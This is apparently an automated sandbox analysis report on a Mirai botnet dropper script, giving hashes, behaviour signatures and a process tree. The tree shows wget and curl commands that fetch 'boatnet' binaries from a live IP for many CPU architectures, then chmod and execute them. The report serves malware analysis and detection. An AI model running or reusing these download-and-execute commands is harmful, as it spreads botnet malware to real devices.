Analysis

  • max time kernel
    139s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    19-01-2025 18:01

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    a6ab6f96f6881539ccc0aefa53d99da6

  • SHA1

    eeeb59012c94058a106073e1595f84df20445979

  • SHA256

    a6bf5dd9b9c5ea86b4a816ea60f94bc0cf68ef6c23ec63d52edf9ddf875d7e34

  • SHA512

    ef0e55585920063d79f5508c6546ebe72dae9c8a5d59faf2fa3d3f3200fa6e970c0ead949638fd853bd752536aea1784fe70397fde0e8bee12478e55b3e6c600

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 30 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 30 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:1481
    • /usr/bin/wget
      wget http://154.213.186.64/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1482
    • /usr/bin/curl
      curl -O http://154.213.186.64/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:1487
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:1497
      • /bin/chmod
        chmod +x boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1498
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1499
      • /usr/bin/wget
        wget http://154.213.186.64/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1503
      • /usr/bin/curl
        curl -O http://154.213.186.64/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1504
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1506
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1507
      • /usr/bin/wget
        wget http://154.213.186.64/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1511
      • /usr/bin/curl
        curl -O http://154.213.186.64/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:1512
      • /bin/chmod
        chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
        2⤵
        • File and Directory Permissions Modification
        PID:1521
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Reads runtime system information
        PID:1522
      • /usr/bin/wget
        wget http://154.213.186.64/hiddenbin/boatnet.i468
        2⤵
          PID:1526
        • /usr/bin/curl
          curl -O http://154.213.186.64/hiddenbin/boatnet.i468
          2⤵
          • Writes file to tmp directory
          PID:1527
        • /bin/chmod
          chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
          2⤵
          • File and Directory Permissions Modification
          PID:1529
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:1530
        • /usr/bin/wget
          wget http://154.213.186.64/hiddenbin/boatnet.i686
          2⤵
            PID:1534
          • /usr/bin/curl
            curl -O http://154.213.186.64/hiddenbin/boatnet.i686
            2⤵
            • Writes file to tmp directory
            PID:1535
          • /bin/chmod
            chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
            2⤵
            • File and Directory Permissions Modification
            PID:1537
          • /tmp/WTF
            ./WTF
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            • Reads runtime system information
            PID:1538
          • /usr/bin/wget
            wget http://154.213.186.64/hiddenbin/boatnet.x86_64
            2⤵
              PID:1542
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1543
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1545
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1546
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1550
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.mpsl
              2⤵
              • Writes file to tmp directory
              PID:1551
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1553
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1554
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1558
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.arm
              2⤵
              • Writes file to tmp directory
              PID:1559
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1563
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1564
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1568
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.arm5
              2⤵
              • Writes file to tmp directory
              PID:1569
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-OkuPhk systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1575
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1576
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1580
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.arm6
              2⤵
              • Writes file to tmp directory
              PID:1584
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-QSLvMe systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1589
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1590
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1594
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.arm7
              2⤵
              • Writes file to tmp directory
              PID:1595
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-QSLvMe systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1597
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1598
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1602
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.ppc
              2⤵
              • Writes file to tmp directory
              PID:1605
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-MTQJ2d systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1611
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1612
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1616
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.spc
              2⤵
              • Writes file to tmp directory
              PID:1625
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-mAA8yo systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1631
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1632
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1636
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.m68k
              2⤵
              • Writes file to tmp directory
              PID:1639
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1641
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1642
            • /usr/bin/wget
              wget http://154.213.186.64/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1646
            • /usr/bin/curl
              curl -O http://154.213.186.64/hiddenbin/boatnet.sh4
              2⤵
              • Writes file to tmp directory
              PID:1647
            • /bin/chmod
              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-Zq653C netplan_vm7zfz3d ohshit.sh snap-private-tmp ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-8dZzLF WTF
              2⤵
              • File and Directory Permissions Modification
              PID:1649
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              • Reads runtime system information
              PID:1650

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/boatnet.x86

            Filesize

            28KB

            MD5

            3630b4a04d550fb036675b516a910399

            SHA1

            7dd4e3efc4a7713d80ec4b8fbc5c0fd649038e7b

            SHA256

            a288c8c9d8fd6c92636bef0e8acf08f0d0d20b4108af37cea8385e7ad947dc67

            SHA512

            e33d21707d574422331610445e4fcdc08b7064f6988c022d27cc3650392940561891bd3ba7d97bc3ee1653ab818c7c815c65b2e8ffa0a14b9c6ea801da499b71